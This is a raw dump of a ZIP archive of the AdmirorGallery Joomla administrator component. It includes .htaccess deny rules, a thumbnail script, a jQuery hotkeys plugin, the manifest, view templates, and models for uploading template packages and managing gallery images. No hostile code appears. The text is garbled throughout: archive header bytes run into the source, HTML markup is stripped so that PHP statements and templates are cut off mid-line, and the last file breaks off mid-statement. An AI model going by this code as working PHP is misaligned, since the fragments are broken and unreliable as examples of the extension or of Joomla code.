    PK@y>\)/components/com_admirorgallery/scripts/.htaccessnuW+A Order allow,deny Deny from all PK@y>\hx5components/com_admirorgallery/scripts/thumbnailer.phpnuW+A 200){ $dst_w = 200; // KEEP HEIGHT, CROP WIDTH $src_w = $src_h*(200/$dst_h); $src_x = floor(($src_width-$src_w)/2); } @$dst_img = imagecreatetruecolor($dst_w, $dst_h); //PNG THUMBS WITH ALPHA PATCH if (preg_match("/png/i", $original_strtolower)) { // Turn off alpha blending and set alpha flag @imagealphablending($dst_img, false); @imagesavealpha($dst_img, true); } @imagecopyresampled($dst_img, $src_img, 0, 0, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h); if (preg_match("/jpg|jpeg/i", $original_strtolower)) { @imagejpeg($dst_img); } else if (preg_match("/png/i", $original_strtolower)) { @imagepng($dst_img); } else if (preg_match("/gif/i", $original_strtolower)) { @imagegif($dst_img); } @imagedestroy($dst_img); @imagedestroy($src_img); ?>PK@y>\-Acomponents/com_admirorgallery/scripts/jquery.hotkeys-0.7.9.min.jsnuW+A(function(AG_jQuery){AG_jQuery.fn.__bind__=AG_jQuery.fn.bind;AG_jQuery.fn.__unbind__=AG_jQuery.fn.unbind;AG_jQuery.fn.__find__=AG_jQuery.fn.find;var hotkeys={version:'0.7.9',override:/keypress|keydown|keyup/g,triggersMap:{},specialKeys:{27:'esc',9:'tab',32:'space',13:'return',8:'backspace',145:'scroll',20:'capslock',144:'numlock',19:'pause',45:'insert',36:'home',46:'del',35:'end',33:'pageup',34:'pagedown',37:'left',38:'up',39:'right',40:'down',109:'-',112:'f1',113:'f2',114:'f3',115:'f4',116:'f5',117:'f6',118:'f7',119:'f8',120:'f9',121:'f10',122:'f11',123:'f12',191:'/'},shiftNums:{"`":"~","1":"!","2":"@","3":"#","4":"$","5":"%","6":"^","7":"&","8":"*","9":"(","0":")","-":"_","=":"+",";":":","'":"\"",",":"<",".":">","/":"?","\\":"|"},newTrigger:function(type,combi,callback){var result={};result[type]={};result[type][combi]={cb:callback,disableInInput:false};return result;}};hotkeys.specialKeys=AG_jQuery.extend(hotkeys.specialKeys,{96:'0',97:'1',98:'2',99:'3',100:'4',101:'5',102:'6',103:'7',104:'8',105:'9',106:'*',107:'+',109:'-',110:'.',111:'/'});AG_jQuery.fn.find=function(selector){this.query=selector;return AG_jQuery.fn.__find__.apply(this,arguments);};AG_jQuery.fn.unbind=function(type,combi,fn){if(AG_jQuery.isFunction(combi)){fn=combi;combi=null;} if(combi&&typeof combi==='string'){var selectorId=((this.prevObject&&this.prevObject.query)||(this[0].id&&this[0].id)||this[0]).toString();var hkTypes=type.split(' ');for(var x=0;x\#o,,0components/com_admirorgallery/scripts/index.htmlnuW+APK@y>\4components/com_admirorgallery/com_admirorgallery.xmlnuW+A COM_ADMIRORGALLERY Nov 7, 2012 Kekeljevic, Vasiljevski, Jongen Igor.Kekeljevic@gmail.com http://www.admiror-design-studio.com This extension in released under the GNU/GPL License - http://www.gnu.org/copyleft/gpl.html GNU/GPL 4.5.0 4.5.0 4.5.0 COM_ADMIRORGALLERY_DESCRIPTION admirorgallery.scriptfile.php controllers elements helpers models views admirorgallery.php controller.php index.html language/en-GB/en-GB.com_admirorgallery.ini language/de-DE/de-DE.com_admirorgallery.ini COM_ADMIRORGALLERY COM_ADMIRORGALLERY_CONTROL_PANEL COM_ADMIRORGALLERY_TEMPLATES COM_ADMIRORGALLERY_POPUPS COM_ADMIRORGALLERY_IMAGE_MANAGER assets controllers helpers models scripts slimbox templates views admin.admirorgallery.php controller.php config.xml index.html en-GB/en-GB.com_admirorgallery.ini en-GB/en-GB.com_admirorgallery.sys.ini de-DE/de-DE.com_admirorgallery.ini de-DE/de-DE.com_admirorgallery.sys.ini admirorgallery admirorgallery.php admirorgallery.xml index.html en-GB/en-GB.plg_content_admirorgallery.ini en-GB/en-GB.plg_content_admirorgallery.sys.ini admirorbutton.php admirorbutton.xml index.html en-GB/en-GB.plg_editors-xtd_admirorbutton.ini en-GB/en-GB.plg_editors-xtd_admirorbutton.sys.ini PK@y>\#o,,(components/com_admirorgallery/index.htmlnuW+APK@y>\ܓ?@components/com_admirorgallery/views/admirorgallery/view.html.phpnuW+Astate = $this->get('State'); $this->item = $this->get('Item'); $this->form = $this->get('Form'); JToolBarHelper::title( JText::_( 'COM_ADMIRORGALLERY_CONTROL_PANEL'), 'controlpanel' ); $this->form = $this->get('Form'); parent::display($tpl); } } PK@y>\)<components/com_admirorgallery/views/admirorgallery/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,Bcomponents/com_admirorgallery/views/admirorgallery/tmpl/index.htmlnuW+APK@y>\³aaCcomponents/com_admirorgallery/views/admirorgallery/tmpl/default.phpnuW+A
    isRTL()) ? $iconFloat = "right" : $iconFloat = "left"; echo ' '; } echo '
    '; quickiconButton('index.php?option=com_admirorgallery&view=resourcemanager&AG_resourceType=templates', 'icon-48-templates.png', JText::_('COM_ADMIRORGALLERY_TEMPLATES'), $AG_templateID); quickiconButton('index.php?option=com_admirorgallery&view=resourcemanager&AG_resourceType=popups', 'icon-48-popups.png', JText::_('COM_ADMIRORGALLERY_POPUPS'), $AG_templateID); quickiconButton('index.php?option=com_admirorgallery&view=imagemanager', 'icon-48-imagemanager.png', JText::_('COM_ADMIRORGALLERY_IMAGE_MANAGER'), $AG_templateID); echo '

    ' . "\n"; $db = JFactory::getDBO(); $query = "SELECT * FROM #__extensions WHERE (element = 'admirorgallery') AND (type = 'plugin')"; $db->setQuery($query); $row = $db->loadAssoc(); //print_r($paramsdata); $paramsdefs = JPATH_SITE . '/administrator/components/com_admirorgallery/config.xml'; //$paramsdefs = JPATH_SITE.'/plugins/content/admirorgallery/admirorgallery.xml'; $myparams = JForm::getInstance('AG_Settings', $paramsdefs); $values = array('params' => json_decode($row['params'])); $myparams->bind($values); $fieldSets = $myparams->getFieldsets(); foreach ($fieldSets as $name => $fieldSet) : $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_PLUGINS_' . $name . '_FIELDSET_LABEL'; //echo JHtml::_('sliders.panel', JText::_($label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : //echo '

    '.$this->escape(JText::_($fieldSet->description)).'

    '; endif; ?>
      getFieldset($name) as $field) : ?> hidden) : ?>
    • label; ?> input; ?>
    • input; ?>

    '; if (JFIle::exists(JPATH_COMPONENT_ADMINISTRATOR . '/com_admirorgallery.xml')) { $ag_admirorgallery_xml = JFactory::getXMLParser('simple'); $ag_admirorgallery_xml->loadFile(JPATH_COMPONENT_ADMINISTRATOR . '/com_admirorgallery.xml'); $ag_admirorgallery_version_component = $ag_admirorgallery_xml->document->version[0]->data(); $ag_admirorgallery_version_plugin = $ag_admirorgallery_xml->document->plugin_version[0]->data(); $ag_admirorgallery_version_button = $ag_admirorgallery_xml->document->button_version[0]->data(); echo JText::_('AG_COMPONENT_VERSION') . ' ' . $ag_admirorgallery_version_component . "
    "; echo JText::_('AG_PLUGIN_VERSION') . ' ' . $ag_admirorgallery_version_plugin . "
    "; echo JText::_('AG_BUTTON_VERSION') . ' ' . $ag_admirorgallery_version_button . "
    "; } echo '
    ' . "\n"; echo JText::_('AG_ADMIRORGALLERY_DESCRIPTION'); echo '
    '; ?> PK@y>\)Acomponents/com_admirorgallery/views/admirorgallery/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,=components/com_admirorgallery/views/admirorgallery/index.htmlnuW+APK@y>\#o,,>components/com_admirorgallery/views/resourcemanager/index.htmlnuW+APK@y>\)=components/com_admirorgallery/views/resourcemanager/.htaccessnuW+A Order allow,deny Deny from all PK@y>\66Acomponents/com_admirorgallery/views/resourcemanager/view.html.phpnuW+A\z6Dcomponents/com_admirorgallery/views/resourcemanager/tmpl/default.phpnuW+AgetUserStateFromRequest( $option.'.limitstart', 'limitstart', 0, 'int' ); $limit = $mainframe->getUserStateFromRequest( 'global.list.limit', 'limit', $mainframe->getCfg('list_limit'), 'int' ); ?>
    AG_jQuery(function(){ AG_jQuery(".ag_title_link").click(function(e) { e.preventDefault(); if(AG_jQuery(this).closest("tr").find(\'input:checkbox\').attr("checked") == true){ AG_jQuery(this).closest("tr").find(\'input:checkbox\').attr("checked", false); }else{ AG_jQuery(this).closest("tr").find(\'input:checkbox\').attr("checked", true); } }); AG_jQuery("#checkAll").click(function(e) { var numOfRows = AG_jQuery(".adminlist tbody tr").length; if(AG_jQuery(this).attr("checked") == true){ for(i='.$limitstart.';i<('.$limitstart.'+numOfRows);i++){ AG_jQuery("#cb"+i).attr("checked", true); } }else{ for(i='.$limitstart.';i<('.$limitstart.'+numOfRows);i++){ AG_jQuery("#cb"+i).attr("checked", false); } } }); });//AG_jQuery '."\n"; // Read folder with gallery templates $ag_resourceManager_installed = JFolder::folders(JPATH_SITE.'/plugins/content/admirorgallery/admirorgallery/'.$AG_resourceType);// N U sort($ag_resourceManager_installed); // Rendering the form and table grid echo '
    '.JText::_('AG_SELECT_TEMPLATE_TO_INSTALL').' [ '.JText::_( 'AG_MAX' ).' '.(JComponentHelper::getParams('com_media')->get('upload_maxsize',0)).' MB ]: 

    '; echo ' '; $total = count($ag_resourceManager_installed); $pageNav = new JPagination( $total, $limitstart, $limit ); if($limit=="all"){$limit=$total;} if(!empty($ag_resourceManager_installed)){ foreach ($ag_resourceManager_installed as $ag_resourceManager_Key => $ag_resourceManager_Value) { if($ag_resourceManager_Key >= $limitstart && $ag_resourceManager_Key < ($limitstart+$limit)){ // TEMPLATE DETAILS PARSING $ag_resourceManager_id = $ag_resourceManager_Value; $ag_resourceManager_name = $ag_resourceManager_id; $ag_resourceManager_creationDate = JText::_( "AG_UNDATED"); $ag_resourceManager_author = JText::_( "AG_UNKNOWN_AUTHOR"); $ag_resourceManager_version = JText::_( "AG_UNKNOWN_VERSION"); $ag_resourceManager_description = JText::_( "AG_NO_DESCRITION"); if(JFIle::exists(JPATH_SITE.'/plugins/content/admirorgallery/admirorgallery/'.$AG_resourceType.'/'.$ag_resourceManager_id.'/details.xml')){// N U $ag_resourceManager_xml =JFactory::getXMLParser( 'simple' ); $ag_resourceManager_xml->loadFile( JPATH_SITE.'/plugins/content/admirorgallery/admirorgallery/'.$AG_resourceType.'/'.$ag_resourceManager_id.'/details.xml' );// N U $ag_resourceManager_name = $ag_resourceManager_xml->document->name[0]->data(); $ag_resourceManager_creationDate = $ag_resourceManager_xml->document->creationDate[0]->data(); $ag_resourceManager_author = $ag_resourceManager_xml->document->author[0]->data(); $ag_resourceManager_version = $ag_resourceManager_xml->document->version[0]->data(); $ag_resourceManager_description = $ag_resourceManager_xml->document->description[0]->data(); } echo ' '; } }//foreach ($ag_resourceManager_installed as $ag_resourceManager_Key => $ag_resourceManager_Value) }//if(!empty($ag_resourceManager_installed)) echo '
    #
    '.JText::_( "AG_TITLE").' '.JText::_( "AG_ID").' '.JText::_( "AG_DESCRIPTION").' '.JText::_( "AG_VERSION").' '.JText::_( "AG_DATE").' '.JText::_( "AG_AUTHOR").'
    '.($ag_resourceManager_Key+1).'. '; //if ($row->checked_out && $row->checked_out != $user->id) { //echo ' '; //} else { echo ' '; //} echo ' '.$ag_resourceManager_name.' '.$ag_resourceManager_id.' '.$ag_resourceManager_description.' '.$ag_resourceManager_version.' '.$ag_resourceManager_creationDate.' '.$ag_resourceManager_author.'
    '.$pageNav->getListFooter().'
    '; ?> PK@y>\#o,,Ccomponents/com_admirorgallery/views/resourcemanager/tmpl/index.htmlnuW+APK@y>\)Bcomponents/com_admirorgallery/views/resourcemanager/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)-components/com_admirorgallery/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)9components/com_admirorgallery/views/galleryname/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,:components/com_admirorgallery/views/galleryname/index.htmlnuW+APK@y>\7nn=components/com_admirorgallery/views/galleryname/view.html.phpnuW+A\)>components/com_admirorgallery/views/galleryname/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,?components/com_admirorgallery/views/galleryname/tmpl/index.htmlnuW+APK@y>\ÛM @components/com_admirorgallery/views/galleryname/tmpl/default.phpnuW+Aparams); $ag_rootFolder = $pluginParams->get('rootFolder', '/images/sampledata/'); $ag_init_itemURL = $ag_rootFolder; ?>


    $ag_folders_value) { $ag_folderName = substr($ag_folders_value['relname'], $ag_init_itemURL_strlen); echo ' ' . $ag_folderName . '
    '; } } ?>

    PK@y>\#o,,.components/com_admirorgallery/views/index.htmlnuW+APK@y>\)?components/com_admirorgallery/views/imagemanager/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,@components/com_admirorgallery/views/imagemanager/tmpl/index.htmlnuW+APK@y>\.e%%Acomponents/com_admirorgallery/views/imagemanager/tmpl/default.phpnuW+Aparams); $ag_rootFolder = $pluginParams->get('rootFolder','/images/sampledata/'); if($AG_frontEnd=='true'){ $ag_starting_folder = $pluginParams->get('rootFolder','/images/sampledata/').$this->galleryName.'/'; }else{ $ag_starting_folder = $ag_rootFolder; } if(!empty($AG_itemURL)){ $ag_init_itemURL = $AG_itemURL; }else{ if($AG_frontEnd=='true'){ $ag_init_itemURL = $pluginParams->get('rootFolder','/images/sampledata/').$this->galleryName.'/'; }else{ $ag_init_itemURL = $ag_rootFolder; } } ?>
    '.$ag_init_itemURL); $ag_preview_content='
    '.$ag_init_itemURL.'
    '; return; } echo ' '."\n"; // FORMAT FORM if($AG_frontEnd=='true'){ require_once( JPATH_COMPONENT.DS.'helpers'.DS.'toolbar.php' ); echo '
    '.AdmirorgalleryHelperToolbar::getToolbar().'
    '; } echo '
    '."\n"; // FORMAT SCREEN echo '
    '.JText::_( 'AG_SHOW_SIDEBAR').' '.$ag_preview_content.'
    '."\n"; ?>
    PK@y>\):components/com_admirorgallery/views/imagemanager/.htaccessnuW+A Order allow,deny Deny from all PK@y>\>components/com_admirorgallery/views/imagemanager/view.html.phpnuW+A'.substr($ag_rootFolder,0,-1).'/'; $ag_breadcrumb_link.=$ag_rootFolder; $ag_breadcrumb_cut=substr($ag_folderName,strlen($ag_rootFolder)); $ag_breadcrumb_cut_array=explode("/",$ag_breadcrumb_cut); if(!empty($ag_breadcrumb_cut_array[0])){ foreach($ag_breadcrumb_cut_array as $cut_key => $cut_value){ $ag_breadcrumb_link.=$cut_value.'/'; $ag_breadcrumb.=''.$cut_value.'/'; } } $ag_breadcrumb.=$ag_fileName; }else{ $ag_breadcrumb.=$ag_rootFolder; } return $ag_breadcrumb; } } PK@y>\)Bcomponents/com_admirorgallery/views/imagemanager/scripts/.htaccessnuW+A Order allow,deny Deny from all PK@y>\JyFFUcomponents/com_admirorgallery/views/imagemanager/scripts/imgManager-render-folder.phpnuW+AenqueueMessage(JText::_("AG_CANNOT_CREATE_FOLDER") . " " . $newFolderName, 'error'); } function ag_render_caption($ag_lang_name, $ag_lang_tag, $ag_lang_content) { return '
    ' . $ag_lang_name . ' / ' . $ag_lang_tag . '
    '; } $ag_preview_content = ''; $ag_preview_content.='
    ' . "\n"; $ag_preview_content.='

    ' . JText::_('AG_CURRENT_FOLDER') . '

    ' . $this->_renderBreadcrumb($ag_itemURL, $ag_starting_folder, $ag_folderName, $ag_fileName) . '

    ' . JText::_('AG_OPERATION_WITH_SELECTED_ITEMS') . '

     ' . JText::_('AG_UPLOAD_IMAGES_JPG_JPEG_GIF_PNG_OR_ZIP') . ' [ ' . JText::_('AG_MAX') . ' ' . (JComponentHelper::getParams('com_media')->get('upload_maxsize',0)).' MB ]: 

     ' . JText::_('AG_CREATE_FOLDERS') . '  ' . JText::_('AG_ADD') . '

    ' . JText::_('AG_EDIT_FOLDER_CAPTIONS') . '
    '; // RENDER FOLDERS // CREATED SORTED ARRAY OF FOLDERS $ag_files = JFolder::folders(JPATH_SITE . $ag_itemURL); if (!empty($ag_files)) { $ag_folders_priority = Array(); $ag_folders_noPriority = Array(); $ag_folders = Array(); foreach ($ag_files as $key => $value) { $ag_folderName = $ag_itemURL; $ag_fileName = basename($value); // Set Possible Description File Apsolute Path // Instant patch for upper and lower case... $ag_pathWithStripExt = JPATH_SITE . $ag_folderName . JFile::stripExt($ag_fileName); $ag_XML_path = $ag_pathWithStripExt . ".XML"; if (JFIle::exists($ag_pathWithStripExt . ".xml")) { $ag_XML_path = $ag_pathWithStripExt . ".xml"; } if (file_exists($ag_XML_path)) { $ag_XML_xml = JFactory::getXMLParser('simple'); $ag_XML_xml->loadFile($ag_XML_path); $ag_XML_priority = $ag_XML_xml->document->priority[0]->data(); } if (!empty($ag_XML_priority) && file_exists($ag_XML_path)) { $ag_folders_priority[$value] = $ag_XML_priority; // PRIORITIES IMAGES } else { $ag_folders_noPriority[] = $value; // NON PRIORITIES IMAGES } } } if (!empty($ag_folders_priority)) { asort($ag_folders_priority); foreach ($ag_folders_priority as $key => $value) { $ag_folders[] = $key; } } if (!empty($ag_folders_noPriority)) { natcasesort($ag_folders_noPriority); foreach ($ag_folders_noPriority as $key => $value) { $ag_folders[] = $value; } } if (!empty($ag_folders)) { foreach ($ag_folders as $key => $value) { $ag_hasXML = ""; $ag_hasThumb = ""; // Set Possible Description File Apsolute Path // Instant patch for upper and lower case... $ag_pathWithStripExt = JPATH_SITE . $ag_itemURL . JFile::stripExt(basename($value)); $ag_XML_path = $ag_pathWithStripExt . ".xml"; if (JFIle::exists($ag_pathWithStripExt . ".XML")) { $ag_XML_path = $ag_pathWithStripExt . ".XML"; } $ag_XML_visible = "AG_VISIBLE"; $ag_XML_priority = ""; if (file_exists($ag_XML_path)) { $ag_hasXML = ''; $ag_XML_xml = JFactory::getXMLParser('simple'); $ag_XML_xml = simplexml_load_file($ag_XML_path); if (isset($ag_XML_xml->priority)) { $ag_XML_priority = $ag_XML_xml->priority; } if (isset($ag_XML_xml->visible)) { if ((string) $ag_XML_xml->visible == "false") { $ag_XML_visible = "AG_HIDDEN"; } } } $ag_preview_content.='

    ' . JText::_($ag_XML_visible) . '

    ' . JText::_('AG_PRIORITY') . ': 
    '; } } // RENDER IMAGES // CREATED SORTED ARRAY OF IMAGES $ag_files = JFolder::files(JPATH_SITE . $ag_itemURL); $ag_ext_valid = array("jpg", "jpeg", "gif", "png"); // SET VALID IMAGE EXTENSION if (!empty($ag_files)) { $ag_images_priority = Array(); $ag_images_noPriority = Array(); $ag_images = Array(); foreach ($ag_files as $key => $value) { if (is_numeric(array_search(strtolower(JFile::getExt(basename($value))), $ag_ext_valid))) { $ag_folderName = $ag_itemURL; $ag_fileName = basename($value); // Set Possible Description File Apsolute Path // Instant patch for upper and lower case... $ag_pathWithStripExt = JPATH_SITE . $ag_folderName . JFile::stripExt($ag_fileName); $ag_XML_path = $ag_pathWithStripExt . ".XML"; if (JFIle::exists($ag_pathWithStripExt . ".xml")) { $ag_XML_path = $ag_pathWithStripExt . ".xml"; } if (file_exists($ag_XML_path)) { $ag_XML_xml = JFactory::getXMLParser('simple'); $ag_XML_xml->loadFile($ag_XML_path); $ag_XML_priority = $ag_XML_xml->document->priority[0]->data(); } if (!empty($ag_XML_priority) && file_exists($ag_XML_path)) { $ag_images_priority[$value] = $ag_XML_priority; // PRIORITIES IMAGES } else { $ag_images_noPriority[] = $value; // NON PRIORITIES IMAGES } } } } if (!empty($ag_images_priority)) { asort($ag_images_priority); foreach ($ag_images_priority as $key => $value) { $ag_images[] = $key; } } if (!empty($ag_images_noPriority)) { natcasesort($ag_images_noPriority); foreach ($ag_images_noPriority as $key => $value) { $ag_images[] = $value; } } if (!empty($ag_images)) { foreach ($ag_images as $key => $value) { $ag_hasXML = ""; $ag_hasThumb = ""; // Set Possible Description File Apsolute Path // Instant patch for upper and lower case... $ag_pathWithStripExt = JPATH_SITE . $ag_itemURL . JFile::stripExt(basename($value)); $ag_XML_path = $ag_pathWithStripExt . ".xml"; if (JFIle::exists($ag_pathWithStripExt . ".XML")) { $ag_XML_path = $ag_pathWithStripExt . ".XML"; } $ag_XML_visible = "AG_VISIBLE"; $ag_XML_priority = ""; if (file_exists($ag_XML_path)) { $ag_hasXML = ''; $ag_XML_xml = JFactory::getXMLParser('simple'); $ag_XML_xml = simplexml_load_file($ag_XML_path); if (isset($ag_XML_xml->priority)) { $ag_XML_priority = $ag_XML_xml->priority; } if (isset($ag_XML_xml->visible)) { if ((string) $ag_XML_xml->visible == "false") { $ag_XML_visible = "AG_HIDDEN"; } } } if (file_exists(JPATH_SITE . "/plugins/content/admirorgallery/admirorgallery/thumbs/" . basename($ag_folderName) . "/" . basename($value))) { $ag_hasThumb = ''; } agHelper::ag_createThumb(JPATH_SITE . $ag_itemURL . $value, $thumbsFolderPhysicalPath . DS . $value, 145, 80, "none"); $AG_thumb_checked = ""; if ($ag_XML_thumb == $value) { $AG_thumb_checked = " CHECKED"; } $ag_preview_content.='

    ' . JText::_($ag_XML_visible) . '

    ' . JText::_('AG_PRIORITY') . ': 
     ' . JText::_('AG_FOLDER_THUMB') . '
    '; } } if (empty($ag_folders) && empty($ag_images)) { $ag_preview_content.= JText::_('AG_NO_FOLDERS_OR_IMAGES_FOUND_IN_CURRENT_FOLDER'); } $AG_folderDroplist = ""; $ag_preview_content.=' '; ?> PK@y>\ƁScomponents/com_admirorgallery/views/imagemanager/scripts/imgManager-render-file.phpnuW+AenqueueMessage( JText::_( "AG_CANNOT_CREATE_FOLDER" )." ".$newFolderName, 'error' ); } $ag_hasXML=""; $ag_hasThumb=""; // Set Possible Description File Apsolute Path // Instant patch for upper and lower case... $ag_pathWithStripExt=JPATH_SITE.$ag_folderName.'/'.JFile::stripExt(basename($ag_itemURL)); $ag_imgXML_path=$ag_pathWithStripExt.".XML"; if(JFIle::exists($ag_pathWithStripExt.".xml")){ $ag_imgXML_path=$ag_pathWithStripExt.".xml"; } if(file_exists(JPATH_SITE."/plugins/content/admirorgallery/admirorgallery/thumbs/".basename($ag_folderName)."/".basename($ag_fileName))){ $ag_hasThumb=''; } if(file_exists($ag_imgXML_path)){ $ag_hasXML=''; $ag_imgXML_xml = JFactory::getXMLParser( 'simple' ); $ag_imgXML_xml->loadFile($ag_imgXML_path); $ag_imgXML_captions = $ag_imgXML_xml->document->captions[0]; } $ag_preview_content=''; // GET IMAGES FOR NEXT AND PREV IMAGES FUNCTIONS $ag_files=JFolder::files(JPATH_SITE.$ag_folderName); if(!empty($ag_files)){ $ag_ext_valid = array ("jpg","jpeg","gif","png");// SET VALID IMAGE EXTENSION $ag_images=Array(); foreach($ag_files as $key => $value){ if(is_numeric(array_search(strtolower(JFile::getExt(basename($value))),$ag_ext_valid))){ $ag_images[]=$value; } } if(array_search($ag_fileName, $ag_images)!=0){ $ag_fileName_prev=$ag_images[array_search($ag_fileName, $ag_images)-1]; } if(array_search($ag_fileName, $ag_images)'.JText::_( "AG_PREVIOUS_IMAGE").''."\n"; } if(!empty($ag_fileName_next)){ $ag_preview_content.=''.JText::_( "AG_NEXT_IMAGE").''."\n"; } } $ag_preview_content.='
    '; $ag_preview_content.='

    '.JText::_( 'AG_IMAGE_DETAILS_FOR_FILE' ).'

    '.$this->_renderBreadcrumb($ag_itemURL, $ag_starting_folder, $ag_folderName, $ag_fileName).'
    '; agHelper::ag_createThumb(JPATH_SITE.$ag_itemURL, $thumbsFolderPhysicalPath.DS.basename($ag_itemURL), 145, 80, "none"); $ag_preview_content.='
    '.$ag_itemURL.'
    '.JText::_( "AG_IMG_WIDTH").': '.$AG_imgInfo["width"].'px
    '.JText::_( "AG_IMG_HEIGHT").': '.$AG_imgInfo["height"].'px
    '.JText::_( "AG_IMG_TYPE").': '.$AG_imgInfo["type"].'
    '.JText::_( "AG_IMG_SIZE").': '.$AG_imgInfo["size"].'
    '.$ag_hasXML.$ag_hasThumb.'
    '; require_once (JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_admirorgallery'.DS.'slimbox'.DS.'index.php'); function ag_render_caption($ag_lang_name, $ag_lang_tag, $ag_lang_content){ return '
    '.$ag_lang_name.' / '.$ag_lang_tag.'
    '; } $ag_matchCheck = Array("default"); // GET DEFAULT LABEL $ag_imgXML_caption_content=""; if(!empty($ag_imgXML_captions->caption)){ foreach($ag_imgXML_captions->caption as $ag_imgXML_caption){ if(strtolower($ag_imgXML_caption->attributes('lang')) == "default"){ $ag_imgXML_caption_content = $ag_imgXML_caption->data(); } } } $ag_preview_content.= ag_render_caption("Default", "default", $ag_imgXML_caption_content); // GET LABELS ON SITE LANGUAGES $ag_lang_available = JLanguage::getKnownLanguages(JPATH_SITE); if(!empty($ag_lang_available)){ foreach($ag_lang_available as $ag_lang){ $ag_imgXML_caption_content=""; if(!empty($ag_imgXML_captions->caption)){ foreach($ag_imgXML_captions->caption as $ag_imgXML_caption){ if(strtolower($ag_imgXML_caption->attributes('lang')) == strtolower($ag_lang["tag"])){ $ag_imgXML_caption_content = $ag_imgXML_caption->data(); $ag_matchCheck[]=strtolower($ag_lang["tag"]); } } } $ag_preview_content.= ag_render_caption($ag_lang["name"], $ag_lang["tag"], $ag_imgXML_caption_content); } } if(!empty($ag_imgXML_captions->caption)){ foreach($ag_imgXML_captions->caption as $ag_imgXML_caption){ $ag_imgXML_caption_attr = $ag_imgXML_caption->attributes('lang'); if(!is_numeric(array_search(strtolower($ag_imgXML_caption_attr),$ag_matchCheck))){ $ag_preview_content.= ag_render_caption($ag_imgXML_caption_attr, $ag_imgXML_caption_attr, $ag_imgXML_caption->data()); } } } $ag_preview_content.='

    '.JText::_( 'AG_LEGEND' ).'

    '.JText::_( 'AG_IMAGE_HAS_THUMBNAIL_CREATED' ).'
    '.JText::_( 'AG_IMAGE_HAS_ADDITIONAL_DETAILS_SAVED' ).'
    '; ?> PK@y>\#o,,;components/com_admirorgallery/views/imagemanager/index.htmlnuW+APK@y>\#o,,5components/com_admirorgallery/views/button/index.htmlnuW+APK@y>\գ..;components/com_admirorgallery/views/button/tmpl/default.xmlnuW+A
    PK@y>\D";components/com_admirorgallery/views/button/tmpl/default.phpnuW+Aparams); $ag_rootFolder = $pluginParams->get('rootFolder', '/images/sampledata/'); $ag_init_itemURL = $ag_rootFolder; ?>


     


    PK@y>\#o,,:components/com_admirorgallery/views/button/tmpl/index.htmlnuW+APK@y>\)9components/com_admirorgallery/views/button/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\hsii8components/com_admirorgallery/views/button/view.html.phpnuW+A\)4components/com_admirorgallery/views/button/.htaccessnuW+A Order allow,deny Deny from all PK@y>\=HH8components/com_admirorgallery/models/resourcemanager.phpnuW+AgetValue('config.tmp_path'); $resourceType = substr($AG_resourceType,0,strlen($AG_resourceType)-1); $file_type = "zip"; if(isset($file) && !empty($file['name'])){ //Clean up filename to get rid of strange characters like spaces etc $filename = JFile::makeSafe($file['name']); $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $src = $file['tmp_name']; $dest = $tmp_dest.DS.$filename; //First check if the file has the right extension if ($ext == $file_type) { if ( JFile::upload($src, $dest) ) { if(JArchive::extract($tmp_dest.DS.$filename, JPATH_SITE.DS.'plugins'.DS.'content'.DS.'admirorgallery'.DS.'admirorgallery'.DS.$AG_resourceType )){ JFile::delete($tmp_dest.DS.$filename); } // TEMPLATE DETAILS PARSING if(JFIle::exists(JPATH_SITE.DS.'plugins'.DS.'content'.DS.'admirorgallery'.DS.'admirorgallery'.DS.$AG_resourceType.DS.JFile::stripExt($filename).DS.'details.xml')){ $ag_resourceManager_xml = JFactory::getXMLParser( 'simple' ); $ag_resourceManager_xml->loadFile(JPATH_SITE.DS.'plugins'.DS.'content'.DS.'admirorgallery'.DS.'admirorgallery'.DS.$AG_resourceType.DS.JFile::stripExt($filename).DS.'details.xml'); if(isset($ag_resourceManager_xml->document->type[0])){ $ag_resourceManager_type = $ag_resourceManager_xml->document->type[0]->data(); } } if($ag_resourceManager_type == $resourceType){ JFactory::getApplication()->enqueueMessage( JText::_( 'AG_ZIP_PACKAGE_IS_INSTALLED' )." ".$filename, 'message' ); }else{ JFolder::delete(JPATH_SITE.DS.'plugins'.DS.'content'.DS.'admirorgallery'.DS.'admirorgallery'.DS.$AG_resourceType.DS.JFile::stripExt($filename)); JFactory::getApplication()->enqueueMessage( JText::_( 'AG_ZIP_PACKAGE_IS_NOT_VALID_RESOURCE_TYPE' )." ".$filename, 'error' ); } } else { JFactory::getApplication()->enqueueMessage( JText::_( 'AG_CANNOT_UPLOAD_FILE_TO_TEMP_FOLDER_PLEASE_CHECK_PERMISSIONS' ), 'error' ); } } else { JFactory::getApplication()->enqueueMessage( JText::_( 'AG_ONLY_ZIP_ARCHIVES_CAN_BE_INSTALLED' ), 'error' ); } } } function _uninstall($ag_cidArray) { $AG_resourceType = JRequest::getVar( 'AG_resourceType' );// Current resource type foreach($ag_cidArray as $ag_cidArrayKey => $ag_cidArrayValue){ if(!empty($ag_cidArrayValue)){ if(JFolder::delete(JPATH_SITE.DS.'plugins'.DS.'content'.DS.'admirorgallery'.DS.'admirorgallery'.DS.$AG_resourceType.DS.$ag_cidArrayValue)){ JFactory::getApplication()->enqueueMessage( JText::_( 'AG_PACKAGE_REMOVED' )." ".$ag_cidArrayValue, 'message' ); }else{ JFactory::getApplication()->enqueueMessage( JText::_( 'AG_PACKAGE_CANNOT_BE_REMOVED' )." ".$ag_cidArrayValue, 'error' ); } } } } } PK@y>\g ../components/com_admirorgallery/models/button.phpnuW+A\uV w334components/com_admirorgallery/models/galleryname.phpnuW+A\).components/com_admirorgallery/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,/components/com_admirorgallery/models/index.htmlnuW+APK@y>\w(:o:o5components/com_admirorgallery/models/imagemanager.phpnuW+AenqueueMessage(JText::_("AG_DESCRIPTION_FILE_CREATED") . " " . basename($ag_itemURL), 